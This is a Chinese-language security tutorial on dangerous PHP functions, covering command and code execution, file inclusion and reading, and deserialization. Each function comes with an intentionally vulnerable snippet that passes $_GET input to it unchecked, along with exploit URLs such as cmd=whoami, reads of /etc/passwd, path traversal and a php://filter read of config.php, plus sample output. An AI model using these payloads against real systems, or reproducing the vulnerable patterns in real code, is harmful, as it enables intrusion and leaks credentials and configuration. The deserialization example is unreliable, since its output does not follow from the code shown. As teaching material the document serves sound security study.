一、命令执行
1.1、命令执行原理
<?php
$cmd = $_GET['cmd']; // 直接获取用户输入
system($cmd); // 不安全
?>
#payload:
http://example.com/vuln.php?cmd=whoami
#结果:
www-data
1.2、危险函数
1.2.1、system()
介绍:
执行外部命令,将命令的输出直接发送到标准输出(通常是浏览器),并返回命令输出的最后一行。
利用手段:
<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
//payload
http://example.com/vuln.php?cmd=ls
//output
index.php
config.php
.htaccess
1.2.2、exec()
介绍:
exec()
执行外部命令,将命令的输出存储在数组中,返回命令的返回值。
利用手段:
<?php
exec($_GET['cmd'], $output);
echo implode("\n", $output);
?>
//payload
http://example.com/vuln.php?cmd=cat /etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
1.2.3、shell_exec()
介绍:
shell_exec()
执行外部命令,返回命令输出的完整字符串(包含换行符)。
利用手段:
<?php
$output = shell_exec($_GET['cmd']);
echo "<pre>$output</pre>";
?>
http://example.com/vuln.php?cmd=cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
1.2.4、passthru()
介绍:
passthru()
执行命令,将原始输出直接传递给浏览器(适合处理二进制输出)。
利用手段:
<?php
passthru($_GET['cmd']);
?>
http://example.com/vuln.php?cmd=cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
1.2.5、popen()
介绍:
执行命令,返回进程指针,可读取/写入。
利用手段:
<?php
$handle = popen($_GET['cmd'], "r");
echo fread($handle, 4096);
pclose($handle);
?>
http://example.com/vuln.php?cmd=whoami
1.2.6、proc_open()
介绍:
功能更强大,可控制进程输入/输出/错误流。
利用手段:
同上(popen)
1.2.7、backticks (\``)
介绍:
反引号语法 `cmd`
等价于 shell_exec()
。
利用手段:
与shell_exec()相同。
二、代码执行
2.1、代码执行原理
以eval()为例:
<?php
$code = $_GET['code'];
eval($code);
?>
//payload
http://example.com/vuln.php?code=phpinfo();
//output
phpinfo:
php version ...
2.2、危险函数
2.2.1、eval()
介绍:
将传入的字符串解析为 PHP 代码 并执行。如果传入的内容不受控或未经过滤,可能导致任意代码执行。
利用手段:
略
2.2.2、assert()
介绍:
assert()
在 PHP 5.2.0 及以上版本可以动态执行表达式(类似 eval
),如果表达式的结果为 false
,则会报错。
在 PHP 7.0.0 之前,它能够直接执行 PHP 代码,因此 非常危险。
利用手段:
<?php
$input = $_GET['input'];
assert($input);
?>
input=system('whoami');
www-data
2.2.3、preg_replace()
介绍:
preg_replace()
是 PHP 的正则表达式替换函数。在 PHP 5.5.0 之前,使用 /e 修饰符 可以将匹配的字符串作为 PHP 代码执行。
preg_replace(pattern, replacement, subject);
利用手段:
<?php
$input = $_GET['input'];
echo preg_replace('/.*/e', $input, 'test');
?>
input=system('whoami')
www-data
2.2.4、create_function()
介绍:
create_function()
创建一个匿名函数,但参数和函数体都是字符串,因此极易引发代码注入漏洞。
create_function('$args', 'return $args + 1;');
利用手段:
三、文件包含/读取
3.1、文件包含
3.1.1、include()
介绍:
包含并执行指定文件,失败时仅抛出警告。
利用手段:
1、在上传的图片中写入木马,执行木马中的php恶意代码
2、命令执行:
<?php
$filename = $_GET['file'];
include($filename);
?>
//payload
http://example.com/vuln.php?file=/etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
3.1.2、require()
介绍:
包含并执行指定文件,失败则中止脚本。
利用手段:
同上。
3.2、文件读取
3.2.1、file_get_contents()
介绍:
读取文件并将其内容作为字符串返回。
利用手段:
<?php
$filename = $_GET['file'];
echo file_get_contents($filename);
?>
http://example.com/vuln.php?file=/etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
3.2.2、readfile()
介绍:
读取文件内容并直接输出到浏览器。
利用手段:
<?php
$file = $_GET['file'];
readfile($file);
?>
http://example.com/vuln.php?file=/etc/passwd
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
//目录遍历
http://example.com/vuln.php?file=../../../../etc/passwd
//搭配为协议
http://example.com/vuln.php?file=php://filter/convert.base64-encode/resource=config.php
四、反序列化
4.1、原理
在 PHP 中,序列化(Serialization) 是指将对象或数据结构转化为字符串格式,方便存储或传输。反序列化(Unserialization) 则是将序列化后的字符串还原为 PHP 对象或数据结构的过程。
而在数据进行反序列化时就会执行。
4.2、函数
4.2.1、serialize() unserialize()
// 序列化
string serialize(mixed $value)
// 反序列化
mixed unserialize(string $data, array $options = [])
4.2.2、漏洞利用
<?php
$data = $_GET['data'];
unserialize($data);
?>
http://example.com/vuln.php?data=O:4:"Test":1:{s:4:"prop";s:4:"id";}
uid=33(www-data) gid=33(www-data) groups=33(www-data)